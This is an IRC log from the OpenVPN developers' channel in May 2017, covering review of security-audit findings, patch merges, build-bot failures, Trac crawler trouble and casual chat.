OVPN-04-B or OVPN-04-3... 10:28 <@cron2> but I agree with syzzer's analysis - if (!lookahead), la will be CLEAR()ed, so buf_defined() will never be true, and we'll never reach that code block 10:30 <@dazo> cron2: lets use OVPN-04-3 ... that's consistent through out the complete .odt file 10:30 <@cron2> I'm not sure that code makes any sense at all, tbh :) 10:31 <@cron2> the char read is always put in the lookahead buffer, but only if we hit a non-ascii character, *lookahead is set to la again (which is considered an error condition) 10:33 <@cron2> so in all other cases, "*lookahead" will not see the data stuffed in said buffer 10:33 <@cron2> (because la is a local copy, so la->len will be updated, not (*lookahead)->len 10:34 <@cron2> argh 10:35 <@cron2> "in all other cases" we do not care about it at all, so that's actually a desired property 10:36 <@cron2> while (recv_line(sd, NULL, 0, 2, false, lookahead, signal_received)) 10:36 <@cron2> { 10:36 <@cron2> } 10:36 <@cron2> so we look until this returns "false", and only in that case, lookahead is actually modified, in all other cases the local copy is thrown away intentionally 10:36 <@cron2> I'm sure this could be done in a less magical way 10:37 <@dazo> yes! :) 10:37 <@cron2> mmmh, I can see this document, but not edit it 10:38 <@dazo> cron2: Click on the "Files" menu, top-most-left ... and choose Documents 10:38 <@dazo> that's where the editor is "hidden" 10:38 <@cron2> why's there two "Response PIA.odt" documents? 10:39 <@dazo> ahh, it's shared twice .... it is the same document .... I first just shared the document, then I shared the folder the document resides in 10:39 <@dazo> that's what I'd call a bug :-P 10:43 <@cron2> why is the damn editor always jumping to start of document on its own... 10:44 <@dazo> move the cursor to where you are ... it jumps back to the cursor location on updates 10:44 <@cron2> I was scrolling with the mouse wheel, and that sort of confused it 10:46 <@cron2> do I need to do something to save? 10:46 <@dazo> nope 10:46 * cron2 has only ever used google docs for such... 10:46 <@cron2> ah 10:46 <@cron2> good 10:46 <@dazo> autosave ... I even see your changes 10:47 <@cron2> I think 04-3 is save, but could use a code change (suggested change mailed to list) 10:47 <@dazo> ack! 10:48 <@cron2> what is 04-4? that's not in your original mail 10:50 <@dazo> hmmmm .... *checks* 10:50 <@cron2> looking at the pdf 10:51 <@cron2> *scratch head* 10:51 <@dazo> ahh! I started reviewing the socket.c code paths .... but I now see I never completed that .... so I never sent the OVPN-04-D/4 mail 10:51 <@dazo> there is one issue located to the proxy.c and a "similar" one to socket.c, which was way harder to decipher 10:52 <@cron2> I'm looking at the socket.c one right now 11:01 <@cron2> that might actually be crashable, by doing something weird, like "--socks-proxy foo.bar" and not setting --remote 11:02 <@cron2> but during normal operation it should never happen 11:05 <@cron2> the higher layers catch this, so if you leave away --remote, you need to use --bind, and with bind, there's a socket here 11:07 <@cron2> chrome fighting owncloud... 11:10 <@dazo> Might be my server is too low on resources too though 11:12 <@cron2> I've added my findings so far on 04-4 11:12 <@cron2> and now I need to go and feed the kids :) 11:12 <@dazo> :) 11:28 <@cron2> you're seriously introducing a plugin that uses threads? *scratch head* 11:30 <@dazo> cron2: yeah, that's the easiest way to do this demo-plugin ... the alternative is fork() 11:30 * cron2 understands fork() and is afraid of threads :) 11:30 <@cron2> but yeah, fork() might not be the best choice 11:31 <@dazo> ahh ... well, the advantage of threads in this case is that I don't have to do much tricks to handle logging and all that stuff 11:31 <@dazo> I tried to make the threads stuff a simple as possible though :) 11:32 <@dazo> I might have failed there, so I'm open for more simplifications 13:18 < kitsune1> exit 13:18 < kitsune1> quit 13:25 <@cron2> dazo: syzzer sent a new packet_id_alloc_ patch, which I could ACK and merge - would that interfere with your tree? 13:44 <@dazo> cron2: nope, no issues ... I presume you talk about 1494006291-3522-1-git-send-email-steffan.karger@ ... right? 13:45 <@dazo> cron2: you can add ACK on me too on that one, I believe it is the same we've already reviewed 13:53 <@cron2> dazo: it is fully identical except for the sign-off-by line to 5.2 1/2, yes 13:53 <@cron2> good 13:53 <@cron2> which makes 5.2 much smaller :) 14:08 <@dazo> yeah :) 14:08 <@dazo> cron2: if I now just rebase by work on your updates, syzzers patch will automatically be "replaced" with the one you've committed 14:09 <@dazo> nice timing with Selva today :-P 14:11 <@cron2> not pushed yet, last test builds running 14:11 <@cron2> freebsd/amd64, freebsd/sparc64(+cmocka), linux 14:16 <@cron2> *grumble* portability bug in cmocka... redefines uintptr_t instead of just including <stdint.h>, and blows up on freebsd... 14:17 <@cron2> but besides this... 14:17 <@cron2> PASS: packet_id_testdriver 14:17 <@cron2> pushing... (and leaving my keyboard, watch TV now) 14:21 <@vpnHelper> RSS Update - gitrepo: cleanup: merge packet_id_alloc_outgoing() into packet_id_write() <https://github.com/OpenVPN/openvpn/commit/a87e1431baccd49a9344cfc63ab7446c4317fa2f> 14:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 14:28 <@syzzer> \o/ 14:29 <@dazo> :) 14:31 <@syzzer> dazo: will you send a reply to PIA? 14:32 <@dazo> syzzer: I will do that .... I'm thinking I should just send the .odt file directly ... any objections to that? 14:32 <@syzzer> not from my side 14:32 <@dazo> I can also start creating all those Trac tickets you mention, and just replace the "todo" with a ticket number 14:51 <@syzzer> hrmpf, I seem to have broken --disable-crypto builds with the packet id patch... 14:52 <@syzzer> or rather, "make distcheck" 14:57 <@dazo> syzzer: with the patch cron2 applied? 14:58 <@syzzer> yep 15:06 <@syzzer> nope, broke --disable-crypto :') 15:06 <@dazo> odd ... I'm able to build wuth --disable-crypto 15:06 <@dazo> *with 15:14 <@syzzer> but you won't be able to run 'make check' 15:14 <@syzzer> at least not when you have cmocka checked out ;-) 15:14 <@syzzer> fix on the list 15:18 <@dazo> I've run check and distcheck too 15:18 <@dazo> ahh, right! 15:18 <@syzzer> cmocka not checked out? :p 15:18 <@dazo> now it fails ... because make distcheck didn't run cmocka 15:19 <@dazo> make check failed :) 15:19 <@dazo> I'll tackle that patch now 15:19 <@syzzer> yep :) 15:19 <@syzzer> thanks 15:19 <@dazo> that's an easy one! :) 15:20 <@syzzer> just sent another patch that you might want to include when pushing O-) 15:21 * dazo will check 15:21 <@syzzer> trivial though - fixing the Changes.rst layout 15:22 <@dazo> ahh, yeah, will check that too 15:23 <@dazo> syzzer: different topic .... what do you think of also exporting base64 functions to plug-ins? I'm not against, but we need to avoid openvpn becoming its own "libc" ... so where to draw the line? 15:24 <@dazo> (see mail from Selva on ML) 15:25 <@syzzer> yeah, I had exactly the same thought 15:25 <@syzzer> but I think base64 makes sense 15:25 <@dazo> yeah, then we're on the same page :) 15:25 <@syzzer> it's something typical for scripts/plugins to use 15:25 <@dazo> yeah .... next is to export the SSL/TLS functions :-P 15:26 <@syzzer> well, we do have the TLS keying material exporter function, which would actually make sense to be able to use from a plugin :p 15:26 <@syzzer> but let's ignore that for now 15:26 <@dazo> hehehe :) 15:28 <@dazo> it's actually not too complicated to export functions ... but if it gets too much, we need to consider some wrapping functions, so we don't need to update the plug-in API if the function API changes 15:32 <@dazo> *f**k* ... mail-archive didn't fetch proper urls :/ 15:33 <@dazo> their msg-id index is not updated yet :/ 15:33 * dazo add the proper URLs in the "applied" mails 15:37 <@vpnHelper> RSS Update - gitrepo: Fix Changes.rst layout <https://github.com/OpenVPN/openvpn/commit/7ad917760136807298c39d9260ff6bb074db03a4> || Don't run packet_id unit tests for --disable-crypto builds <https://github.com/OpenVPN/openvpn/commit/dcfcc594759b3a768cd4d40508cbacae114c274b> 15:40 <@cron2> *grumble*... of course I did not test a disable-crypto build (I did not even *build* a disable-crypto build, because all the changes are so nicely localized) 15:41 <@cron2> otoh... buildbots with --enable-small also broke 15:41 <@cron2> nah 15:41 <@dazo> I think it's some generic issues on the arch/tincan boxes 15:41 <@cron2> that's just arch linux which is broken for good, because openssl 1.1 15:42 <@dazo> yeah 15:42 * cron2 calms down again and ignores that one :) 15:42 <@syzzer> cron2: to nice thing is that travis is already paying off - it nicely alerted me that I screwed up :p 15:44 <@cron2> syzzer: you should push to that branch eventually, when you have a patch in your tree for 3+ months :-) *duck & run* 15:44 <@syzzer> hehehe 15:45 <@dazo> :-P 15:45 <@cron2> mmmh, I see dazo's followup on "I pushed the commit too early", but not the actual "PATCH applied" for packet_id unit tests 15:45 <@cron2> weird 15:45 <@syzzer> same here 15:45 <@dazo> huh? 15:45 <@syzzer> probably list lagging 15:46 <@dazo> meh ... it dropped the message-id due to a bug with ' in the subject line 15:47 <@syzzer> ha, escaping bug! 15:47 <@syzzer> anyway - I'm calling it a day 15:48 <@dazo> yeah .... need to move away from those ugly sh scripts .... but perl is not a real option for me .... not sure cron2 follows over to a python approach :) 15:48 <@syzzer> goog night! 15:48 <@dazo> g'night! 15:48 <@syzzer> .php is cool I hear! 15:48 * syzzer runs away now 15:50 <@cron2> bah, too much stuff on FreeBSD depends on python these days... I'll flatly refuse to fix anything python-related (= rewrite it in perl if needed) but just *running* python can be done... 15:50 <@cron2> buildslaves have to have python anyway 15:50 <@cron2> as long as I do not have to install umpteen extra modules 15:51 <@dazo> :) 15:51 <@dazo> so FreeBSD is getting modernized ....... *ducks and runs* :) 18:38 <@plaisthos> dazo: I think the keychain-mcd was sponsored by some Russian company, maybe also reach out to them 20:11 <@ordex> morning ! --- Day changed Sat May 06 2017 00:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:35 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:25 < valdikss> Hi guys, anyone here? 02:26 < valdikss> When OpenVPN tries to add IPv6 address using netsh.exe, netsh.exe always returns "Element not found." 02:27 < valdikss> I tried deleting and re-adding TAP adapter, reinstalling TAP-Windows driver, reinstalling OpenVPN, rebooting. I made sure IPv6 is enabled on the interface. 02:27 < valdikss> Windows 7. Worked fine yesterday. 06:49 < slypknot> valdikss: you around 10:27 < slypknot> build-system: ./build-complete --build-depcache does not appear to work ? please see the end of the log: https://paste.fedoraproject.org/paste/7GJRZG~21WSsBwNlqMoT1V5M1UNdIGYhyRLivL9gydE= 12:21 < slypknot> I have not figured it out but this seems like a possible cause : /bin/mkdir -p '/home/tct/openvpn/bsys/windows-nsis/tmp/build-x86_64/depcache-root//share/doc/lzo' 12:22 < slypknot> '//share/doc/lzo' .. // ? 15:43 < slypknot> ./build-snapshot = works 15:43 < slypknot> ./build-complete = works 15:44 < slypknot> ./build-complete --build-depcache = does not work 15:44 < slypknot> log: 15:44 < slypknot> Restore libtool files 15:44 < slypknot> ls: cannot access 'tmp/image-i686/openvpn-i686-*-bin.*': No such file or directory 15:45 < slypknot> ls: cannot access 'tmp/image-x86_64/openvpn-x86_64-*-bin.*': No such file or directory 15:45 < slypknot> FATAL: please specify openvpn binary tarball 15:45 < slypknot> but the ls is looking in the wrong place 15:47 < slypknot> 'Restore libtool files' (restore_la()) is in ../generic/build (line 64) 16:04 < slypknot> called by restore_la()line 276 in build_dep() in generic/build 16:09 < slypknot> host is ubuntu 16.04 upto date 16:28 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 19:27 < slypknot> line 32 of build-snapshot .. cruel --- Day changed Sun May 07 2017 02:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:03 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:32 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:32 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 02:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 02:53 <@ordex> hi there :) 05:57 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 07:24 <@syzzer> ordex: poke me before you start working on ntlm.c - I have some patches for that 07:25 <@syzzer> but they are blocking on someone building a test setup to verify sophos' fix-ntlm-code patches... 07:28 <@ordex> syzzer: when you say working you mean "cleanup mission I mentioned on the ml"? 07:28 <@syzzer> ordex: indeed - I might have prematurely concluded that you would go on that mission :p 07:29 <@ordex> :D 07:29 <@ordex> that was fast ! 07:29 <@ordex> haha 07:30 <@ordex> but sure, shouldI go for it, I'll poke you before wiping ntml.c :p 08:52 <@syzzer> cron2: yuk, that 'yet another NCP bug' (#879) is quite nasty... 10:30 <@syzzer> related to that issue, should 'nobind' not be part of the default 'client' macro? 10:53 <@vpnHelper> RSS Update - tickets: #884: client-disconnect script not passed any arguments <https://community.openvpn.net/openvpn/ticket/884> 11:03 <@cron2> re from budapest 11:17 <+krzee> syzzer: i see that making sense 11:19 <@cron2> syzzer: intuitively, yes. But since it has never been, I wonder how many setups it would break 11:20 <+krzee> when does a client see an advantage from an open port? 11:20 <+krzee> like if it were ptp then i get it 11:20 <@cron2> the port is always "open" as it's UDP 11:20 <+krzee> well i mean when could --nobind hurt a client? 11:20 <@cron2> bind vs. nobind only makes a difference wrt "is this a fixed port" or "just randomly assigned by OS" 11:20 <@cron2> if there is a firewall in front of it, that only permits 1194 in and out... 11:21 <+krzee> oh i thought that was the port options, theres another option for source port 11:21 <+krzee> as there's* 11:21 <@cron2> that's port, rport, lport... a mess in itself 11:21 <@cron2> but if you set lport and nobind, the *port bit won't do anything 11:21 <+krzee> ahh 11:21 <+krzee> ok, i see 11:22 <+krzee> ya that could break setups lol 11:22 <+krzee> does --nobind only hurt the client if --lport is also used? 11:22 <@cron2> lport defaults to whatever port is set to... 11:22 <+krzee> if so, there could be an if for adding nobind to client 11:23 <+krzee> oh so if nobind is not used then client will use its lport same as servers port 11:23 <@cron2> yes 11:23 <+krzee> ya i cant see a solid way to stop from breaking clients by adding that 11:24 <+krzee> thanks for clearing that up for me 11:41 < slypknot> krzee: (if yr not ignoring me) there is another usage for --client !--nobind : https://community.openvpn.net/openvpn/ticket/877 11:41 <@vpnHelper> Title: #877 (Clients bound to a specific IP don't use a random outgoing port) – OpenVPN Community (at community.openvpn.net) 13:29 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:29 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 20:14 <@ordex> morning! --- Day changed Mon May 08 2017 01:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:12 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:39 <@mattock> morning 01:59 <@ordex> morning mattock :) 02:24 <@d12fk> mattock: sorry, no time for review, too busy at work 02:39 <@mattock> d12fk: that's good, because I have not asked for any review :P 02:43 <@d12fk> ah sorry. it was dazo... 02:44 <@d12fk> that doesnt change anything with me being busy unfortunately =) 02:48 <@vpnHelper> RSS Update - tickets: #885: Pressing reconnect fails to reconnect with auth failure <https://community.openvpn.net/openvpn/ticket/885> 02:53 <@mattock> cron2, dazo, syzzer: I added two announcement text files to Owncloud so that we can work on them together 02:54 <@mattock> I'll go through the reports and try to figure out what was done to each finding, and then compile a summary for the official release announcement 04:51 * dazo runs out for some errands ... back in a few hours 07:21 * cron2 will look tonight (hopefully) 08:01 <@ordex> does anybody know what I am missing if I get this upon ./configure: configure: error: cannot find install-sh, install.sh, or shtool in . "."/. 08:01 <@ordex> ? 08:01 <@ordex> it's a new system (macos) and I have installed autoconf, automake, libtool and shtool already 08:04 <@ordex> mh I think it's just a matter of configuring the path, because the check is a simple file existence one and the file is there … somewhere 08:13 <@dazo> ordex: there's also gettext, iirc 08:16 <@ordex> hm ok 08:17 <@ordex> still the same error. it seems that $srcdir in the configure script it is set to nothing, so it searches for shtool only in ./ and ./. 09:08 <@ordex> dazo: I was running autoconf insytead of autoreconf. not sure this one command is documented though - the README suggests ./configure right away << sorry for double posting, but this was for this channel :P 09:09 <@dazo> ahh! 09:09 <@ordex> and amazing … it compiled just fine :O 09:10 <@plaisthos> on macos x compiling openvpn is easy 09:10 <@plaisthos> once you got all the libraries it needs;) 09:10 <@ordex> yeah :) except from this autoreconf issue, it was quite easy 09:10 <@ordex> :) 09:10 <@ordex> goed, I Can clean up warnings here too 09:10 <@ordex> :D 09:11 <@ordex> plaisthos: I brewed a lot of things today :P 09:13 <@plaisthos> reactions on my google bug report 09:14 <@plaisthos> let see if "you get ipv6 on your vpn only if you have ipv6 native" bug gets fixed in O 09:14 <@plaisthos> (We had that one in 4.4 and now it is back, but completely different this time) 09:15 <@ordex> bug report to what ? google/android? 09:15 <@plaisthos> google 09:39 <@vpnHelper> RSS Update - tickets: #886: regressions in openvpn 2.4.1 <https://community.openvpn.net/openvpn/ticket/886> 11:00 <@dazo> cron2: I'm applying some patches and will push soon ... just so you're aware :) 11:26 <@vpnHelper> RSS Update - gitrepo: Fix memory leak in x509_verify_cert_ku() <https://github.com/OpenVPN/openvpn/commit/7b94d3bbbea46efcea12e1df24da52fe508d0173> || Fix extract_x509_field_ssl for external objects, v2 <https://github.com/OpenVPN/openvpn/commit/69311687da55b8c0e6966b25c94c72494ea44e57> 11:38 <@vpnHelper> RSS Update - gitrepo: v4, travis-ci: add 2 mingw "build only" configurations <https://github.com/OpenVPN/openvpn/commit/81ba70b39b78d7677aabab957421264800028f53> 12:10 <@dazo> mattock: you're sloppy on the encryption keys .... the key you used for agi is not the fingerprint he have in his e-mail 12:11 <@dazo> ;-) 13:37 <@mattock> dazo: I blame enigmail getting confused 13:37 <@mattock> actually it could be an old key of his or something 13:38 <@mattock> I have probably cached his key a long time ago 13:53 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 15:11 <@dazo> :) 15:17 <@dazo> slypknot: could you please have a look at your arch build-slaves? seems to be plenty of issues there ... I smell openssl-1.1 16:06 < slypknot> dazo: i believe it is all due to openssl-1.1 .. there is no way to roll it back to 1.0.2x 16:06 < slypknot> if you prefer, i can just disconnect for now 16:42 <@cron2> slypknot: everything hat has openssl-1.1 only should be disconnected until openvpn has 1.1 support - it's just random noise with no amusement value 16:42 <@cron2> dazo: noted the flurry of activity, but thanks for the heads up 16:47 <@dazo> slypknot: you can install openssl-1.0.xy in /opt by building it manually ... then there are several approaches to use that /opt installed version instead of the standard one ... but hard to say which one is the proper one right now 16:47 < slypknot> cron2: ok .. i'll just disconnect arch-bbot until the openssl-1.1 is complete on the dev-ML 16:48 < slypknot> or somebody asks for arch to reconnect 16:50 < slypknot> dazo: sorry did not see your second msg till i typed my reply ;) --- Day changed Tue May 09 2017 00:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:18 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:08 <@vpnHelper> RSS Update - tickets: #887: Cipher mismatch on reconnect after "TLS: soft reset" <https://community.openvpn.net/openvpn/ticket/887> 03:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 03:26 <@cron2> syzzer: that code looks funny now - you have a "goto cleanup" right after a msg(M_FATAL) *and* right before the cleanup: label 03:26 <@syzzer> cron2: which code? 03:26 <@cron2> pkcs11_certificate_dn() 03:27 <@syzzer> hm, indeed (it already did, but still) 03:27 <@cron2> but now the code between goto and label is gone :) 03:27 <@syzzer> uh, no? 03:28 <@cron2> the patch I'm looking at right now is removing the "ret = string_alloc(dn, gc)" which is the only thing between "goto cleanup; }" and "cleanup:" 03:28 <@cron2> (there is another goto further up) 03:29 <@cron2> not exactly important, more a cosmetic thing 03:32 <@syzzer> well these "goto cleanup"s don't make sense at all here indeed... 03:33 <@syzzer> I'll send a v2 03:35 <@syzzer> hm, this pkcs11-code is littered with similar "msg(M_FATAL, ..); goto cleanup;" bits 03:35 <@syzzer> Let's not do a v2, but follow up with a patch that fixes all that 03:35 <@syzzer> (later...) 03:35 <@cron2> agree 03:35 <@ordex> more cleanup! :) 03:36 <@syzzer> ah, I see a volunteer! ;-) 03:41 <@ordex> lol :P 03:41 * ordex hides again 04:30 <@cron2> dazo: can you merge the "mbedtls: correctly check return value in pkcs11_certificate_dn()" patch, please? I can review&ACK, but being at the meeting a proper merge&test&push is a bit too much right now 05:03 <@dazo> cron2: sure! 05:42 <@vpnHelper> RSS Update - gitrepo: plugin: Fix documentation typo for type_mask <https://github.com/OpenVPN/openvpn/commit/26e3427cfa128c5d8ac7e212769ba29afac4f3d9> || mbedtls: correctly check return value in pkcs11_certificate_dn() <https://github.com/OpenVPN/openvpn/commit/423bb16e8a8fe22a907f469074a25533208fa0bc> 05:57 <@dazo> plaisthos: if you got a chance to test syzzer's NCP frame size restore patch, I'd appreciate it 06:17 <@vpnHelper> RSS Update - tickets: #888: Routes aren't being added on establishing the VPN connection <https://community.openvpn.net/openvpn/ticket/888> 06:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:37 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:12 <@cron2> what's up with people today... bug reports coming in like there's no tomorrow... 07:19 <@cron2> mattock: trac is missing version entries for 2.3.14 (and it might be useful to add 2.3.15 and 2.4.2 while at it) 07:22 <@plaisthos> don't you have admin rights? 07:22 <@cron2> I have, but have no idea what to do to achieve that 07:22 <@cron2> (I think I have) 07:22 <@plaisthos> Admin -> Versions 07:23 <@cron2> wait 07:23 <@cron2> oh 07:23 * cron2 has admin rights and can add this :) 07:25 <@cron2> the sorting is weird 07:25 <@plaisthos> cron2: maybe one distro that finally switch to 2.4? 07:26 <@cron2> well, 888 is "I use 2.3.14 on windows 2003 and it fails if I use 'ping 3' plus 'add 50 routes'..." 07:50 < slypknot> by the look of #888, it is a customer of freeopenvpn.org (who are a vpn service provider) and the user is using --route-nopull and then adding a bunch of routes via FQDN .. they will have to use 2.4 and --pull-filter to block pished --ping/restart 07:51 < slypknot> pushed* 07:51 < slypknot> but even then .. the server side will probably timeout at --ping-restart 20 07:52 <@plaisthos> slypknot: could you ad that to the ticket? 07:52 < slypknot> (if the server is using --keep-alive) 07:52 < slypknot> plaisthos: sure 07:56 <@cron2> ordex: can I interest you in checking whether 5340f56b62c9fe7ad892e815029321f378660714 can be backported to 2.3? 07:56 <@cron2> I have users on a v6-only network that are bitten by that... and for whatever reason, they are still on 2.3 07:57 <@plaisthos> and they want to update to a newer 2.3 but not to 2.4? 07:58 <@cron2> not my users, just helping random folks here at the RIPE meeting - and that's a particularily silly issue, openvpn refusing to do "redirect-gateway def1" if you have no IPv4 default gateway beforehand 07:59 <@cron2> first thing I told them is "2.4.1 has the fix" :) 07:59 <@plaisthos> :) 08:17 <@plaisthos> oh Android is so silly. Since it thinks it has no IPv6 connectivity it only ask for A records 08:17 <@plaisthos> but it ask the DNS server via IPv6 08:21 <@dazo> lol 08:24 <@plaisthos> firefox works since they implement their own dns resolver (why am I not surprised?) 08:27 * cron2 refuses to hear about that *lalala* 08:27 <@vpnHelper> RSS Update - gitrepo: Restore pre-NCP frame parameters for new sessions <https://github.com/OpenVPN/openvpn/commit/9900e023bcc49964d33e6f22c2b6223f8932acf8> 08:56 <@ordex> cron2: sure I can check 09:00 <@plaisthos> hm, either android does not use getaddrinfo for these calls or that logic is embedded deep into getaddrinfo iself 09:04 <@plaisthos> hm no curl on the command line tries both v4 and v6 09:32 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 09:58 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:58 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:06 <@ordex> cron2: the code around that change seems to be exactly the same as 2.4 (Except for the style change), therefore should be fairly easy to backport the pack. I'll send i to the ml soon[tm] 10:13 <@cron2> I find that a useful bugfix, so thanks :) 10:15 <@ordex> np :) 10:15 <@cron2> now I just need to do the review-ack-merge dance before thursday 10:16 <@ordex> need some music? ;) 10:17 <@cron2> nah, some *time* :) - very dense week here, meeting after talk after meeting people... 10:18 <@ordex> heh 10:39 <@ordex> btw, the t470s: Starting at ~2.9 lbs (~1.3 kg) 10:41 <@ordex> the new X1 carbon (gen 5): 1.13 kg 10:42 <@ordex> this is awesome, but it's expensive like hell 10:52 <+krzee> m1 carbine: 2.4kg 10:52 <+krzee> (unloaded) 10:59 <@syzzer> heh, my sony vaio from 2014 is 1.06 kg 8-) 10:59 <@syzzer> too bad sony stopped building laptops :( 11:04 <@cron2> syzzer: I think it's less than 1 kg actually 11:04 * cron2 pats (carefully) his vaio from 2014 :) 11:07 <@syzzer> cron2: yeah, I thought so too, but the review I found sais 1.06 kg 11:10 <@plaisthos> I still like my 1,8kg 15" Macbook :) 11:11 <@plaisthos> coming from a 2,5kg Macbook that is still light 11:17 <@syzzer> plaisthos: can you maybe check out my tls-crypt man page addendum? 11:17 <@syzzer> it would be good to get it in before the release tagging tomorrow 11:17 <@syzzer> (I'll send an update fiing the earlier comments, so you can ignore those for now) 11:17 <@ordex> syzzer: how many inches> 11:17 <@ordex> ? 11:17 <@syzzer> ordex: 13 11:18 <@ordex> 13.3 I guess? I had a vaio like that in the past.. but i think it starts to be "small" for everyday work, at least for me 11:18 <@ordex> 14" feels like THE size :P 11:32 <@syzzer> yeah, I think so too 11:32 <@syzzer> in particular with small bezels 12:44 <@plaisthos> syzzer: will do 12:48 <@plaisthos> that was my main point for the 15" macbook and against the 13" 12:48 <@plaisthos> I rather carry a bit more weight but have a good screen size 13:05 <@vpnHelper> RSS Update - gitrepo: plugin: Export secure_memzero() to plug-ins <https://github.com/OpenVPN/openvpn/commit/f018dfcc3631f165232afa3d13dc2a608bdb6ce7> 13:29 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 13:50 <@syzzer> plaisthos: can you resend your ACK to the mailinglist too? ;-) I sent a v2 which incorporates Magnus' feedback in the mean time, so you might want to reply to that mail instead while at it. 13:52 <@syzzer> dazo: btw, I didn't forget your sha256 patch, but I somehow get different hashes than I'd expect. Need to figure out what I'm doing wrong first. 14:05 <@dazo> syzzer: sure, no worries! 14:07 <@dazo> syzzer: you do check the CA certificate hash? As that's what --verify-hash checks 14:07 <@dazo> (and your hashes may be different too, if your sample/sample-keys are different from the ones in the git repo) 14:09 <@syzzer> dazo: yeah, I know. But somehow 'openssl x509 -fingerprint' comes up with a different hash than --verify-hash expects 14:09 <@syzzer> will check it out more later 14:29 <@dazo> cron2: I have a few ACKs applied to master, release/2.4 and release/2.3 now .... so please check with me if you want to push anything now ... hope to do a push in not too long though 14:45 <@vpnHelper> RSS Update - gitrepo: Always clear username/password from memory on error <https://github.com/OpenVPN/openvpn/commit/2b60198e08a9d7e8de9beeb65a587ee34107efe8> 15:09 <@vpnHelper> RSS Update - gitrepo: In auth-pam plugin clear the password after use <https://github.com/OpenVPN/openvpn/commit/f403b9a2bf93f0fa35ee8316c2d219f48638a3e5> 15:12 <@dazo> syzzer: I can fix those typos in the "Document tls-crypt" on-the-fly 15:17 <@syzzer> dazo: thanks! 15:17 <@syzzer> whee - lot's of fixes today :-D 15:19 <@dazo> yeah :) 15:21 <@vpnHelper> RSS Update - gitrepo: Document tls-crypt security considerations in man page <https://github.com/OpenVPN/openvpn/commit/5806f66eb927a6a698c0f067f563d7bc2203a376> 15:31 <@plaisthos> syzzer: seems I am late for that now ;) 15:31 <@syzzer> yeah, this works too :p 15:33 <@syzzer> is trac slow for you guys too? 15:33 <@syzzer> even logging in seems to be tough at the moment... 15:35 < slypknot> trac is slow .. 16:12 <@cron2> dazo: do not want to push 16:14 <@cron2> syzzer, dazo: cool that you have the packed_id stuff for 2.3 covered 16:17 <@dazo> cron2: :) ... my push queue is clean now! 16:21 * dazo calls it a day 16:21 <@cron2> good night 16:21 * cron2 has a busy morning ahead, but then things will ease up a bit 16:30 <@syzzer> good night both! --- Day changed Wed May 10 2017 00:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:49 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 05:57 <@syzzer> *crickets* 05:57 <@ordex> :O 05:58 <@syzzer> ordex: the reformatting patch is not yet applied btw 05:58 <@syzzer> I'll resend a rebased version soon, to see if that helps to push it forward :) 05:59 <@ordex> syzzer: yeah I think I saw it applied in my local repo (by me :P) and I thought it had been pushed :D 05:59 <@ordex> hehe sorry 05:59 <@syzzer> np, was just wondering whether you realized that it wasn't, otherwise you might feel a bit ignored ;-) 06:00 <@ordex> hehe thanks 06:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:48 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:51 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:51 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:01 <@mattock1> again some bot ("exabot") crawling Trac and killing it 09:02 <@dazo> mattock1: probably need to re-evalute robots.txt ? 09:05 <@mattock1> I already did 09:05 <@mattock1> seemed to get rid of exabot 09:06 <@mattock1> the problem is that some bots tend to start crawling all the _versions_ of the pages, e.g. "GET /openvpn/wiki/IrcMeetings?version=67" 09:06 <@mattock1> and 68, and 69, and 70 09:07 <@mattock1> so there is a rather large amount of pages to crawl 09:07 <@dazo> eek 09:08 <@mattock1> some bots seem to misbehave more than others - right now SemrushBot and Exabot have been specifically disallowed, while the others seem to behave with the generic settings (e.g. crawling Trac's Git pages is prevented) 09:08 <@mattock1> anyways, the problem seems to be gone until the next offender appears to the stage :P 09:12 <@dazo> mattock1: deny everyone except a few good ones? 09:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 10:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:02 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:12 <@mattock1> dazo: I fear there might be too many good ones to allow - fortunately these incidents have been fairly rare 10:14 <@dazo> what about logging user-agent in http logs, and then you'll get the picture fairly quickly 10:15 